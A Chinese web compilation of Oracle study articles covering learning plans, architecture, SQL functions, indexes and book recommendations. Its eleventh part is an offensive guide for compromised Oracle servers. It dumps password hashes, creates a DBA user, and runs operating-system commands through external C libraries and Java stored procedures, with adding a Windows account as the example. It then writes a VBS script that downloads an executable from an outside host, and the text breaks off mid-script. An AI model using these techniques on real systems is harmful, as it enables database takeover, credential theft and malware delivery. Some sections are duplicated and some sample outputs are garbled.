Oracle深入学习(集锦12篇)由网友“红泥小火炉”投稿提供,这里小编给大家推荐一些Oracle深入学习,方便大家学习。
篇1:Oracle深入学习
管理:可以考OCP证书,对oracle先有一个系统的学习,然后看Oracle Concepts、oracle online document,对oracle的原理会有更深入的了解,同时可以开始进行一些专题的研究如:RMAN、RAS、STATSPACT、DATAGUARD、TUNING、BACKUP&RECOVER等等,
开发:对于想做Oracle开发的.,在了解完Oracle基本的体系结构之后,可以重点关注PL/SQL及Oracle的开发工具这一部分,
PL/SQL主要是包括怎么写SQL语句,怎么使用Oracle本身的函数,怎么写存储过程、存储函数、触发器等。 Oracle的开发工具主要就是Oracle自己的Developer Suite(Oracle Forms Developer and Reports Developer这些),学会如何熟练使用这些工具。
介绍几本oracle入门的好书
oracle官方文档:《concept》上面讲了oracle的体系和概念,很适合初学者看。
OCP的教学用书,也就是STUDY GUIDE(SG)。
Oracle8i 备份恢复手册
Oracle8高级管理与优化
Oracle8i PLSQL程序设计
Oracle8数据库管理员手册
篇2:oracle如何学习
一、定位
oracle分两大块,一块是开发,一块是管理。开发主要是写写存储过程、触发器什么的,还有就是用Oracle的Develop工具做form。有点类似于程序员,需要有较强的逻辑思维和创造能力,个人觉得会比较辛苦,是青春饭J;管理则需要对oracle数据库的原理有深刻的认识,有全局操纵的能力和紧密的思维,责任较大,因为一个小的失误就会down掉整个数据库,相对前者来说,后者更看重经验。
因为数据库管理的责任重大,很少公司愿意请一个刚刚接触oracle的人去管理数据库。对于刚刚毕业的年轻人来说,可以先选择做开发,有一定经验后转型,去做数据库的管理。当然,这个还是要看人个的实际情况来定。
二、学习方法
我的方法很简单,就是:看书、思考、写笔记、做实验、再思考、再写笔记 。
看完理论的东西,自己静下心来想想,多问自己几个为什么,然后把所学和所想的知识点做个笔记;在想不通或有疑问的时候,就做做实验,想想怎么会这样,同样的,把实验的结果记下来。思考和做实验是为了深入的了解这个知识点。而做笔记的过程,也是理清自己思路的过程。
学习的过程是使一个问题由模糊到清晰,再由清晰到模糊的过程。而每次的改变都代表着你又学到了一个新的知识点。
学习的过程也是从点到线,从线到网,从网到面的过程。当点变成线的时候,你会有总豁然开朗的感觉。当网到面的时候,你就是高手了
很多网友,特别是初学的人,一碰到问题就拿到论坛上来问,在问前,你有没有查过书,自己有没有研究过,有没有搜索一下论坛?这就叫思维惰性。由别人来回答你的问题,会让你在短时间内不费劲地弄懂这个知识点,然而通过自己的努力去研究它,不但会更深入的了解这个知识点,更重要的是在研究的过程会提高你解决问题和分析问题的能力。总的来说,没有钻研的学习态度,不管学什么东西,都不会成功的。
当然,初学的人很多时候是因为遇到问题时,无从下手,也不知道去哪里找资料,才会到论坛上提问题的。但我认为,在提问的时候,是不是可以问别人是如何分析这个问题?从哪里可以找到相关的资料?而不是这个问题的答案是什么?授人以鱼不如授人以渔。
下面我讲下我处理问题的过程
首先要知道oracle的官方网站:www.oracle.com 这里有oracle的各种版本的数据库、应用工具和权威的官方文档。其次,还要知道metalink.oracle.com/这里是买了oracle服务或是oracle的合作伙伴才可以进去的,里面有很多权威的解决方案和补丁。然后就是一些著名网站:asktom.oracle.com www.orafaq.net, www.dbazine.com。这里有很多经验之谈。
遇到问题了。如果是概念上的问题,第一时间可以找tahiti.oracle.com,这里会给你最详细的解释。如果在运行的过程中出了什么错误。可以去metalink看看。如果是想知道事务的处理的经验之谈。可以去asktom。当然。这里只是相对而言。
三、oracle的体系
oracle的体系很庞大,要学习它,首先要了解oracle的框架。在这里,简要的讲一下oracle的架构,让初学者对oracle有一个整体的认识。
1、物理结构(由控制文件、数据文件、重做日志文件、参数文件、归档文件、密码文件组成)
控制文件:包含维护和验证数据库完整性的必要信息、例如,控制文件用于识别数据文件和重做日志文件,一个数据库至少需要一个控制文件
数据文件:存储数据的文件
重做日志文件:含对数据库所做的更改记录,这样万一出现故障可以启用数据恢复。一个数据库至少需要两个重做日志文件
参数文件:定义Oracle 例程的特性,例如它包含调整SGA 中一些内存结构大小的参数
归档文件:是重做日志文件的脱机副本,这些副本可能对于从介质失败中进行恢复很必要。
密码文件:认证哪些用户有权限启动和关闭Oracle例程
2、逻辑结构(表空间、段、区、块)
表空间:是数据库中的基本逻辑结构,一系列数据文件的集合。
段:是对象在数据库中占用的空间
区:是为数据一次性预留的一个较大的存储空间
块:ORACLE最基本的存储单位,在建立数据库的时候指定
3、内存分配(SGA和PGA)
SGA:是用于存储数据库信息的内存区,该信息为数据库进程所共享。它包含Oracle 服务器的数据和控制信息, 它是在Oracle 服务器所驻留的计算机的实际内存中得以分配,如果实际内存不够再往虚拟内存中写。
PGA:包含单个服务器进程或单个后台进程的数据和控制信息,与几个进程共享的SGA 正相反PGA 是只被一个进程使用的区域,PGA 在创建进程时分配在终止进程时回收
4、后台进程(数据写进程、日志写进程、系统监控、进程监控、检查点进程、归档进程、服务进程、用户进程)
数据写进程:负责将更改的数据从数据库缓冲区高速缓存写入数据文件
日志写进程:将重做日志缓冲区中的更改写入在线重做日志文件
系统监控:检查数据库的一致性如有必要还会在数据库打开时启动数据库的恢复
进程监控:负责在一个Oracle 进程失败时清理资源
检查点进程:负责在每当缓冲区高速缓存中的更改永久地记录在数据库中时,更新控制文件和数据文件中的数据库状态信息。
归档进程:在每次日志切换时把已满的日志组进行备份或归档
服务进程:用户进程服务。
用户进程:在客户端,负责将用户的SQL 语句传递给服务进程,并从服务器段拿回查询数据。
5、oracle例程:Oracle 例程由SGA 内存结构和用于管理数据库的后台进程组成。例程一次只能打开和使用一个数据库。
6、SCN(System Change Number):系统改变号,一个由系统内部维护的序列号。当系统需要更新的时候自动增加,他是系统中维持数据的一致性和顺序恢复的重要标志。
四、深入学习
管理:可以考OCP证书,对oracle先有一个系统的学习,然后看Oracle Concepts、oracle online document,对oracle的原理会有更深入的了解,同时可以开始进行一些专题的研究如:RMAN、RAS、STATSPACT、DATAGUARD、TUNING、BACKUP&RECOVER等等。
开发:对于想做Oracle开发的,在了解完Oracle基本的体系结构之后,可以重点关注PL/SQL及Oracle的开发工具这一部分。 PL/SQL主要是包括怎么写SQL语句,怎么使用Oracle本身的函数,怎么写存储过程、存储函数、触发器等。 Oracle的开发工具主要就是Oracle自己的Developer Suite(Oracle Forms Developer and Reports Developer这些),学会如何熟练使用这些工具。
篇3:oracle学习计划
1、一本讲解基本概念的书,这类书很多,ORACLE的官方文档也可,concept,ADMINISTRATOR,RMAN,PERFORMANCE TUNNING等,
这些都是需要经常翻阅的书,随时用,随时翻阅;如果英文阅读不方便,可以到书店随便翻翻,浏览目录和内容,如果觉得适合自己的理解或有帮助,就是不错的书。
2、一本讲解数据库管理的书;内容涉及可能多,这本书要求知道数据库管理涉及那些方面;
3、一本详细讲解rman如何使用的书
oracle 9irman 备份与恢复技术
robert g.freeman 著,梁志敏 蔡建译
4、一本讲解如何优化调优的书
oracle9i statspack 高性能调整 工业出版社
donald k.burleson 著,袁勤勇等编
oracle wait interface 性能诊断与调整实践指南
richmond shee 等著,高锰 江仁容译,清华出版社
高级阶段
5、一本如何进一步优化sql语句的书
6、一本如何高效构建数据库的书
7、一本数据库高效编程的书
oracle高效设计和oracle 高效编程都是thomas kyte著,
钟鸣、郝玉洁 和苏金国、王小振译
篇4:oracle学习计划
学习Oracle是一个漫长艰辛的过程。如果没有兴趣,只是被迫学习,那么是很难学好的。学习到一定程度的时候,要想进一步提高,就不得不接触很多Oracle之外的东西,如Unix,如网络、存储等。因此,要真的决心学好Oracle,就一定要有兴趣。有了兴趣,就会一切变得简单快乐起来。简单总结一下,那就是:兴趣、学习、实践。
我个人认为还是应该从SQL语句学起。比较好的教材是Oracle OCP认证的《SQL and PL/SQL》(1Z0-045)。学习SQL的时候,尽可能坚持使用Oracle自带的工具:SQLPLUS。
有了一定的SQL基础后,就要尽可能的了解Oracle的体系结构,这就涉及到了Oracle管理的内容了。我学习的时候,机械工业出版社的《Oracle9i DBA手册》这本书对我的帮助挺大。或许现在都出11g版本的了吧。Oracle公司的《Oracle Concepts》是非常棒的书,对了解Oracle体系结构很有好处。每个Oracle版本都有对应的版本,可以认真多读几次,每次都会有新的收获。
学习Oracle备份与恢复技术也是必然的事情。大数据量情况下,Oracle 建议用RMAN来进行数据的备份与恢复。目前市场上有很多数据库备份恢复软件,其实好多也是后台调用RMAN。清华大学出版社出版的《Oracle 9i RMAN 备份与恢复技术》是一本非常不错的介绍RMAN的书。
有了以上的基础,可以说已经入门了,对遇到的一些初级Oracle问题将不再束手无策。然而我们的学习之路仍然还很漫长。我们的用户可能经常抱怨数据库运行缓慢。这时,如果有一定的优化知识,那就好办了。有时你会看到优化前需要运行几个小时的作业,优化后也许几秒钟就能完成!Oracle9i的性能诊断工具包statspack、Oracle10g/11g的自动工作符合存储库AWR都是调优的好帮手。机械工业出版社出版的《Oracle9i STATSPACK高性能调整》是学习statspack不错的书。
篇5:oracle学习计划
很多的同事常常因为oracle学习内容太多而无从下手,根据自己多年学习oracle,基本内容如下
学习计划参考
1、一本讲解基本概念的书,这类书很多,ORACLE的官方文档也可,concept,ADMINISTRATOR,RMAN,PERFORMANCE TUNNING等,
这些都是需要经常翻阅的书,随时用,随时翻阅;如果英文阅读不方便,可以到书店随便翻翻,浏览目录和内容,如果觉得适合自己的理解或有帮助,就是不错的书。
2、一本讲解数据库管理的书;内容涉及可能多,这本书要求知道数据库管理涉及那些方面;
3、一本详细讲解rman如何使用的书
oracle 9irman 备份与恢复技术
robert g.freeman 著,梁志敏 蔡建译
4、一本讲解如何优化调优的书
oracle9i statspack 高性能调整 工业出版社
donald k.burleson 著,袁勤勇等编
oracle wait interface 性能诊断与调整实践指南
richmond shee 等著,高锰 江仁容译,清华出版社
高级阶段
5、一本如何进一步优化sql语句的书
6、一本如何高效构建数据库的书
7、一本数据库高效编程的书
篇6:oracle学习计划
一、学习内容:
(一)工具(老成员):
1、Oracle BI:熟练使用该工具:重点学习报表设计;权限管理;BI Publisher。
2、Excel:熟练适用常用的统计、分析函数能够高效地提升项目进度。
3、Pl/Sql:侧重学习数据在该工具与数据库、BI工具间信息流的相关知识。
4、Oracle Database:熟练查询历史数据,善于发现重点信息,能够开发根据项目 需求和后端报表展示的数据存储模型。
5、ETL(ODI,Informatic,Sql语言):实现根据项目需求对杂乱的历史数据进行整 理、分析、加载。
6、数据模型:根据项目需求,以及后端展示工具设计数据模型。
工具(新成员):
1、Oracle BI:通过Step By Step熟练操作Oracle BI基本工具。
2、Excel:学习常用的统计、分析函数。
3、Pl/Sql(后期)
4、Oracle Database(后期)
(二)软实力:
1、管理:管理是我们学习的核心,始于自己、终于他人。本学期采用项目管理 由老成员一对一(多)方式带领潜在核心成员。
2、英语:基础能力,特别是外企。
3、写作:基础能力,会议记录是提高写作能力很好方式,项目文档亦是如此(每 个项目都会形成大量的项目文档。项目文档能够清晰、全面的反映该项目,同时也是解决项目的基本内容之一)。
4、沟通:基础能力,团队内部;客户沟通。一切的需求和产出都需要通过沟通 实现。
5、分析:基础能力,逻辑分析有利于理解客户需求,充分挖掘数据潜在价值, 推动项目高效地完成。
6、统计学:发现数据规律、联系,展示其潜在价值。
二、工作内容:
(一)日常维护:306作为我们的学习基地,每个成员有责任和义务使之维持一个 舒适的学习环境。
(二)个人总结:定期总结是对自己和组织负责。
(三)成员交流:团队的交流是重要的社交形式,也是人生存的基本能力与需要。
三、项目
(一)计划:完善的策划是项目成功的基础。
(二)实施:项目实施才能更好的验证自己的能力,弥补不足;一学期阶段成果只 有通过真是的项目实施才能得到具体体现。
(三)总结:评估自己,评估项目,设定下阶段规划。
篇7:Oracle学习笔记(一)
Oracle学习笔记(一)
一.介绍
Oracle数据库: DB / DBMS
数据库的使用者: DBA(Database Administrator) / 开发人员
数据库的种类:
oracle / sybase / db2(IBM)
sql server / mysql /
access
数据表:行和列组成.
行: row / record
列: column / field
SQL分类:
DQL: select
DML: insert / update / delete
DDL: create / drop / alter / truncate
DCL: grant / revoke
TCL: commit / rollback / savepoint
远程登录到Oracle数据库服务器的方式:
C:>telnet IP Add
用户名/密码: username/owd
这组是远程机器的用户名和密码
远程登录后连接数据库的方式:sqlplus
sqlplus是Oracle数据库提供的命令行客户端工具
sunv210% sqlplus openlab/open123
这组是数据库的用户名和密码
了解练习常用到的数据表:
emp: 职员表
dept: 部门表
salgrade: 薪水等级表
desc命令:查看一个表的结构.
desc dept
desc emp
desc salgrade
数据类型:
数字类型:number(p,s)最长p位,小数点后s位
字符类型:char(n) / varchar2(n)
日期:date
number(7,2) 99999.99
number(5) 99999
number 随便
二.SQL
-- *号表示查询全部列
select * from dept;
select * from emp;
select ename, sal, comm from emp;
列别名
列的算术表达式
连接字符串||
处理空值的函数nvl
select ename, deptno, sal from emp
where deptno = 10;
绑定变量&
select ename, deptno, sal from emp
where sal >&salary;
select ename, job from emp
where job = 'MANAGER';
....
sal between low and high;--闭区间
sal >= low and sal <= high
[low, high]
....
where deptno in (10, 20);
....
where ename like '_A%';
like短语中特殊字符的处理: escape
select ename from emp
where ename like 'A\_%' escape '\';
select ename, comm from emp where comm is not null;
取非
select ename, sal from emp
where deptno not in (10, 20);
where A and B or C;
where A and (B or C);
select ename, sal, deptno
from emp
where sal >1000
and deptno = 10
or deptno = 20;
select ename, sal, deptno
from emp
where sal >1000
and (deptno = 10
or deptno = 20);
排序:
select ename, job from emp
order by ename; --正序
select ename, sal from emp
order by sal desc; --倒序
select ename, sal, deptno
from emp
order by deptno, sal desc;
select....
from ...
where ...
order by...
单行函数
虚表dual(Oracle特有的)
select upper('Sql Course') from dual;
Oracle数据库的用户:
sys
system
scott/tiger
openlab/open123
字符函数
upper / lower / initcap / substr / length / lpad / rpad / replace / trim
数字函数
round / trunc / mod
select trunc(45.678, 2) from dual;
select trunc(45.678, 0) from dual;
select trunc(45.678, -1) from dual;
select mod(16,5) from dual;
日期
取系统时间: sysdate(Oracle独有的函数)
select sysdate from dual;
日期 +/- n = n天以后/前
--to_char是转换函数,将日期转换为字符类型
select to_char(sysdate,
'yyyy-mm-dd hh24:mi:ss')
from dual;
select to_char(sysdate,
'year month dd day d hh12 am') from dual;
select to_char(sysdate,
'yyyy“年”mm“月”dd“日”') from dual;
select sysdate from dual;
默认的日期格式是: DD-Mon-RR
假设现在是:
RR YY(直接取当前日期的前两位)
05 2005
99 2099 <---
假设现在是:
RR YY
05 2005 1905 <--
95 1995 1995
篇8:Oracle索引的学习总结
Oracle索引的学习总结
在Oracle中,索引基本分为以下几种:B*Tree索引,反向索引,降序索引,位图索引,函数索引,interMedia全文索引等,其中最常用的是B*Tree索引和Bitmap索引。
(1)、与索引相关视图
查询DBA_INDEXES视图可得到表中所有索引的列表;访问USER_IND_COLUMNS视图可得到一个给定表中被索引的特定列。
(2)、组合索引概念
当某个索引包含有多个已索引的列时,称这个索引为组合(concatented)索引。
注意:只有在使用到索引的前导索引时才可以使用组合索引
(3)、B*Tree索引
B*Tree索引是最常见的索引结构,默认建立的索引就是这种类型的索引。B*Tree索引在检索高基数数据列(高基数数据列是指该列有很多不同的值)时提供了最好的性能。
DML语句:
Create index indexname on tablename(columnname[columnname...])
B-tree特性:
适合与大量的增、删、改(OLTP);
不能用包含OR操作符的查询;
适合高基数的列(唯一值多);
典型的树状结构;
每个结点都是数据块;
大多都是物理上一层、两层或三层不定,逻辑上三层;
叶子块数据是排序的,从左向右递增;
在分支块和根块中放的是索引的范围。
(4)、Bitmap索引
位图索引主要用于决策支持系统或静态数据,不支持行级锁定。位图索引最好用于低cardinality列(即列的唯一值除以行数为一个很小的值,接近零)。
DML语句:
Create BITMAP index indexname on tablename(columnname[columnname...])
Bitmap特性:
适合与决策支持系统;
做UPDATE代价非常高;
非常适合OR操作符的查询;
基数比较少的时候才能建位图索引。
(5)、B*tree和Bitmap的不同
在一颗 B* 树中,通常索引条目和行之间存在一种一对一的关系:一个索引条目就指向一行;而对于位图索引,一个索引条目则使用一个位图同时指向多行。
位图索引适用于高度重复而且通常只读的数据(高度重复是指相对于表中的总行数,数据只有很少的几个不同值)。B*tree索引的话通常在访问小数据量的情况下比较适用,比如你访问不超过表中数据的'5%,适用于一般的情况;bitmap的话在数据仓库中使用较多,用于低基数列,比如性别之类重复值很多的字段,基数越小越好。
(6)、导致索引失效的情况
使用不等于操作符(、!=)
通常把不等于操作符改成OR条件,就可以使用索引,以避免全表扫描
使用IS NULL 或IS NOT NULL
使用IS NULL 或IS NOT NULL同样会限制索引的使用。因为NULL值并没有被定义。在SQL语句中使用NULL会有很多的麻烦。因此建议开发人员在建表时,把需要索引的列设成NOT NULL。如果被索引的列在某些行中存在NULL值,就不会使用这个索引(除非索引是一个位图索引)。
使用函数
如果不使用基于函数的索引,那么在SQL语句的WHERE子句中对存在索引的列使用函数时,会使优化器忽略掉这些索引。
比较不匹配的数据类型
不匹配的数据类型之间比较会让Oracle自动限制索引的使用,即便对这个查询执行Explain Plan也不能让您明白为什么做了一次”全表扫描”。
复合索引中的前导列没有被作为查询条件
复合索引中,一定要将前导列作为查询条件,索引才会被使用
CBO模式下选择的行数比例过大,优化器采取了全表扫描
这是基于代价的优化考虑
篇9:oracle学习笔记命令和函数
,
select months_between(to_date('01-31-','MM-DD-YYYY'),to_date('12-31-','MM-DD-YYYY')) “MONTHS” FROM DUAL;
1
2.Months_between(日期1,日期2)
返回日期1和日期2之间的月数
select months_between(
to_date('-2-1','yyyy-mm-dd'),
to_date('2010-3-1','yyyy-mm-dd')
) from dual;
结果:-1
3.Add_months(日期,n)
把n个月加到日期上
select add_months(sysdate,'1') from dual;
结果:2010-9-24 15:53:12
4.Next_day(日期,字符串)
返回下一个由字符串(星期几)指定的日期
select next_day(to_date('2010-2-1','yyyy-mm-dd'),'星期一') from dual;、
结果:2010-2-8
注意:因为安装时中文的oracle 所以这里要用星期一
5.Last_day(日期)
返回该日期所在月份的最后一天
select last_day(to_date('2010-2-1','yyyy-mm-dd')) from dual;
结果:2010-2-28
6、to_char(日期,格式)
格式:
Yyyy:完整的年份
Year:年份的英文表示
MM:两位数表示月份
Month:月份完整的英文表示
Dy:用3个英文字符缩写表示星期几
Day: 星期几的完整英文表示
DD:几号的数字表示
select to_char(to_date('2010-2-1','yyyy-mm-dd'),'dy') from dual;
结果:星期一
select to_char(to_date('2010-2-1','yyyy-mm-dd'),'yyyy') from dual;
结果:2010
select to_char(to_date('2010-2-1','yyyy-mm-dd'),'year') from dual;
结果:twenty ten
select to_char(to_date('2010-2-1','yyyy-mm-dd'),'month') from dual;
结果:2月
7.To_char(数字,格式)
格式:
9:一位数字
0:显示前导零
$:显示美元符号
L: 显示本地货币符号
.:显示小数点
,:显示千位符
MI: 在数的右边显示减号
PR:把复数用尖括号括起来
select to_char(20,9) from dual;
结果:##
select to_char(2,9) from dual;
结果:2
select to_char(3434,9999.99) from dual;
结果:3434.00
select to_char(3434,9999.90) from dual;
结果:3434.0
select to_char(03434,'L99999.00') from dual;
结果: ¥3434.00
select to_char(03434,'L09999.00') from dual;
结果: ¥03434.00
select to_char(123,'009') from dual;
结果:123
select to_char(123,'00999') from dual;
结果:00123
select to_char(-123,'999PR') from dual;
结果:<123>
select to_char(-123,'999MI') from dual;
结果:123-
8.To_number(字符串)
篇10:如何才能有效的学习oracle
有效的学习oracle的方法
01、如果有一定的数据库基础,知道SQL是怎么回事,即使写不出来简单的SQL,但可以看动它们,你就可以跳到2。否则请先看一下数据库基础和SQL语言,不需要很深,更不需要去记忆那些复杂的SQL命令,这些可以留在以后边应用边学习、记忆。
02、要想学好ORACLE,首先要学习ORACLE的体系结构,现在你不需要深入理解它们,但要分清几个关键的概念:instance & database,memory structure , process & those files ,such as data file, control file, init parameter file etc以及database , tablespace , data file和tablespace, segmnet, extent & block它们之间的关系。
03、要想学好ORACLE,首先要学习ORACLE的体系结构,现在你不需要深入理解它们,但要分清几个关键的概念:instance & database,memory structure , process & those files ,such as data file, control file, init parameter file etc以及database , tablespace , data file和tablespace, segmnet, extent & block它们之间的关系。
当然还要分清undo tablespace & redo log file等,对于很多初学者来说,能够对这些概念有个较为清晰的认识并不是一件容易的事,而这些并非Oracle的全部。
04、到了这一步你基本上算是初步掌握了ORACLE,下面将要根据你的方向来具体学习其它的ORACLE知识了。如果你是开发人员,则需要更多地去学习PL/SQL以及DEVELOPER,而这将是一门新的课程。如果你是一名DBA,请继续。
05、现在你可以根据自己的实际情况,进行有选择的学习,也就是说下面的内容没有特别顺序要求。可以选择深入学习ORACLE管理、ORACLE备份与恢复、ORACLE性能调整、网络等。当然在学习这些知识的过程中,如果有实际的工作更好,这样你可以在实际中成长,学会TROUBLE SHOOTING。
06、当然在学习的过程中,你可以在网站或IT论坛中与他人进行交流,可以看数据库开发论坛的一些经验文章,也可以自己写一些心得体会。
学习Oracle的三重境界
第一层境界是说,学习的路是漫漫的,你必须做好充分的思想准备,如果半途而废还不如不要开始。
这里,注意一个“尽”字,在开始学习的过程中,你必须充分阅读Oracle的基础文档,概念手册、管理手册、备份恢复手册等,OCP认证的教材也值得仔细阅读,那些教材撰写得非常详尽和精彩。打好基础之后你才具备了进一步提升的能力,万丈高楼都是由地而起。
第二层境界是说,尽管经历挫折、打击、灰心、沮丧,也都要坚持不放弃,具备了基础知识之后,你可以对自己感兴趣或者工作中遇到的问题进行深入的思考,由浅入深从来都不是轻而易举的,甚至很多时候你会感到自己停滞不前了,但是不要动摇,学习及理解上的突破也需要时间。
第三次境界是说,经历了那么多努力以后,你会发现,那苦苦思考的问题,那百思不得其解的算法原理,原来答案就在手边,你的思路豁然开朗,宛如拨云见月。这个时候,学习对你来说,不再是个难题,也许是种享受,也许成为艺术。
所以如果你想问我如何速成,那我是没有答案的。
不经一番寒彻骨,哪得梅花扑鼻香。
当然这三种境界在实际中也许是交叉的,在不断的学习中,不断有蓦然回首的收获。
我自己在学习的过程中,经常是采用“由点及面法”。
当遇到一个问题后,一定是深入下去,穷究根本,这样你会发现,一个简单的问题也必定会带起一大片的知识点,如果你能对很多问题进行深入思考和研究,那么在深处,你会发现,这些面逐渐接合,慢慢的延伸到oracle的所有层面,逐渐的你就能融会贯通。这时候,你会主动的去尝试全面学习Oracle,扫除你的知识盲点,学习已经成为一种需要。
由实践触发的学习才最有针对性,才更能让你深入的理解书本上的知识,正所谓:“纸上得来终觉浅,绝知此事要躬行”。实践的经验于我们是至为宝贵的。
学习Oracle的书籍推荐
1、推荐的Oracle书籍
入门:
《Oracle数据库技术实用详解:教你如何成为10g OCP》
韩思捷
《涂抹Oracle:三思笔记之一步一步学Oracle》 李丙洋
原理和实践:
《深入理解Oracle》 盖国强
《构建Oracle高可用环境》 陈吉平
《Oracle DBA实战攻略:运维管理、诊断优化、高可用与最佳实践》周亮
《Oracle DBA工作笔记》 杨建荣
SQL优化
《基于Oracle的SQL优化 》崔华
《收获,不止SQL优化》 梁敬彬、梁敬弘
《剑破冰山:Oracle开发艺术 》 卢涛等
《SQL优化最佳实践》 韩锋
内核技术
《Oracle RAC核心技术》 高斌
《Oracle内核技术揭秘》 吕海波
《Oracle核心技术》 Jonathan Lewis,杨志洪,熊军,耿永辉译
2、MySQL推荐的书籍
入门:
《涂抹MySQL:跟着三思一步一步学MySQL》
《MySQL数据库应用从入门到精通(第2版)》
《MySQL核心技术手册》
《MySQL技术内幕(第5版)》
运维实践:
《高性能MySQL》 经典必读
《MySQL管理之道:性能调优、高可用与监控(第2版) 》贺春旸
《深入理解MySQL核心技术》帕奇维
《MySQL运维内参:MySQL、Galera、Inception核心原理与
最佳实践》 周彦伟 王竹峰 强昌金
《高可用MySQL》
内核:
《MySQL技术内幕:InnoDB存储引擎(第2版)》姜承尧
《InnoDB - A journey to the core》Jeremy Cole
篇11:oracle技术文档
作者:Robert
配合open那个工具
第一部分
基本查询指令
select * from V$PWFILE_USERS //查看dba用户
select * from v$version //查看oracle版本以及系统版本
select * from session_privs;// 查看当前用户拥有的权限值
select * from user_role_privs\\查询当前用户角色
select * from user_sys_privs\\查询当前用户系统权限
select username,password from dba_users; //查看所有用户密码hash
select * from dba_sys_privs where grantee='SYSTEM';\\查系统权限
grant select any dictionary to system with admin option;\\登陆不上OEM时候需要此权限
Select name,password FROM user$ Where name='SCOTT'; //低版本查看单用户密码
Select username,decode(password,NULL,'NULL',password) password FROM dba_users; //查看用户hash
create user bob identified by iloveyou;\\建用户bob密码iloveyou
grant dba to bob;\\赋予bob DBA权限
grant execute on xmldom to bob \\赋予用户execute
Create ROLE “javauserpriv” NOT IDENTIFIED
Create ROLE “javasyspriv” NOT IDENTIFIED \\当提示role 'JAVASYSPRIV' does not exist使用
select grantee from dba_role_privs where granted_role='DBA'; \\检查那些用户有DBA权限
select * from dba_directories;\\查看路径所在目录
第二部分,创建java,执行系统命令
no.1
Create or REPLACE LIBRARY exec_shell AS 'c:\windows\system32\msvcrt.dll';
/
show errors
Create or REPLACE PACKAGE oracmd IS PROCEDURE exec (cmdstring IN CHAR);
end oracmd;
/
show errors
Create or REPLACE PACKAGE BODY oracmd IS
PROCEDURE exec(cmdstring IN CHAR)
IS EXTERNAL
NAME “system”
LIBRARY exec_shell
LANGUAGE C;
end oracmd;
/
show errors上面这个没有回显的
如果不行可以使用下面这个
Create or REPLACE LIBRARY exec_shell AS '$ORACLE_HOME\msvcrt.dll';
/
show errors
Create or REPLACE PACKAGE oracmd IS PROCEDURE exec (cmdstring IN CHAR);
end oracmd;
/
show errors
Create or REPLACE PACKAGE BODY oracmd IS
PROCEDURE exec(cmdstring IN CHAR)
IS EXTERNAL
NAME “system”
LIBRARY exec_shell
LANGUAGE C;
end oracmd;
/
show errors执行完后
执行
exec oracmd.exec ('net1 user robert iloveyou /add');no2.
Create or REPLACE AND COMPILE JAVA SOURCE NAMED “Host” AS
import java.io.*;
public class Host {
public static void executeCommand(String command) {
try {
String[] finalCommand;
if (isWindows) {
finalCommand = new String[4];
// Use the appropriate path for your windows version.
finalCommand[0] = “C:\\windows\\system32\\cmd.exe”; // Windows XP/
//finalCommand[0] = “C:\\winnt\\system32\\cmd.exe”; // Windows NT/
finalCommand[1] = “/y”;
finalCommand[2] = “/c”;
finalCommand[3] = command;
}
else {
finalCommand = new String[3];
finalCommand[0] = “/bin/sh”;
finalCommand[1] = “-c”;
finalCommand[2] = command;
}
final Process pr = Runtime.getRuntime().exec(finalCommand);
pr.waitFor();
new Thread(new Runnable(){
public void run() {
BufferedReader br_in = null;
try {
br_in = new BufferedReader(new InputStreamReader(pr.getInputStream()));
String buff = null;
while ((buff = br_in.readLine()) != null) {
System.out.println(“Process out :” + buff);
try {Thread.sleep(100); } catch(Exception e) {}
}
br_in.close();
}
catch (IOException ioe) {
System.out.println(“Exception caught printing process output.”);
ioe.printStackTrace();
}
finally {
try {
br_in.close();
} catch (Exception ex) {}
}
}
}).start();
new Thread(new Runnable(){
public void run() {
BufferedReader br_err = null;
try {
br_err = new BufferedReader(new InputStreamReader(pr.getErrorStream()));
String buff = null;
while ((buff = br_err.readLine()) != null) {
System.out.println(“Process err :” + buff);
try {Thread.sleep(100); } catch(Exception e) {}
}
br_err.close();
}
catch (IOException ioe) {
System.out.println(“Exception caught printing process error.”);
ioe.printStackTrace();
}
finally {
try {
br_err.close();
} catch (Exception ex) {}
}
}
}).start();
}
catch (Exception ex) {
System.out.println(ex.getLocalizedMessage());
}
}
public static boolean isWindows() {
if (System.getProperty(“os.name”).toLowerCase().indexOf(“windows”) != -1)
return true;
else
return false;
}
};
/
Create or REPLACE PROCEDURE host_command (p_command IN VARCHAR2)
AS LANGUAGE JAVA
NAME 'Host.executeCommand (java.lang.String)';
/
EXEC DBMS_JAVA.grant_permission('SYSTEM', 'java.io.FilePermission', '', 'read ,write, execute, delete');
EXEC Dbms_Java.Grant_Permission('SYSTEM', 'SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '');
EXEC Dbms_Java.Grant_Permission('SYSTEM', 'SYS:java.lang.RuntimePermission', 'readFileDescriptor', '');
/
DECLARE
l_output DBMS_OUTPUT.chararr;
l_lines INTEGER := 1000;
BEGIN
DBMS_OUTPUT.enable(1000000);
DBMS_JAVA.set_output(1000000);
host_command('dir C:\');
DBMS_OUTPUT.get_lines(l_output, l_lines);
END;这个要注意两点
win下注意系统路径
linx下注意注释掉win
最后一句就是执行命令的
host_command('dir C:\');
no3.
create or replace and compile
java souRCe named “util”
as
import java.io.*;
import java.lang.*;
public class util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int RC = -1;
try
{
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer, 0, bufSize)) != -1)
System.out.write(buffer, 0, len);
RC = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
RC = -1;
}
finally
{
return RC;
}
}
}
/
create or replace
function RUN_CMz(p_cmd in varchar2) return number
as
language java
name 'util.RunThis(java.lang.String) return integer';
/
create or replace procedure RC(p_cmd in varChar)
as
x number;
begin
x := RUN_CMz(p_cmd);
end;
/
variable x number;
set serveroutput on;
exec dbms_java.set_output(100000);
grant javasyspriv to system;这句注意最后这里要授权下当前登陆的用户
grant javasyspriv to system最后执行
exec :x:=run_cmz('ipconfig');第二部分 操作磁盘文件
no1.
建立目录
create or replace directory DIR as 'C:\';此目录当然也可以是启动目录
授权
grant read, write on directory DIR to system这步可以不用
然后执行操作
写文件
declare
file utl_file.file_type;
begin
file := utl_file.fopen('DIR', 'test.vbs', 'W');
utl_file.put_line(file, 'Set xPost=CreateObject(“Microsoft.XMLHTTP”)
xPost.Open “GET”,“http:/ /blog.cnmoker.org/rad.exe”,0
xPost.Send()
Set sGet=CreateObject(“ADODB.Stream”)
sGet.Mode=3
sGet.Type=1
sGet.Open()
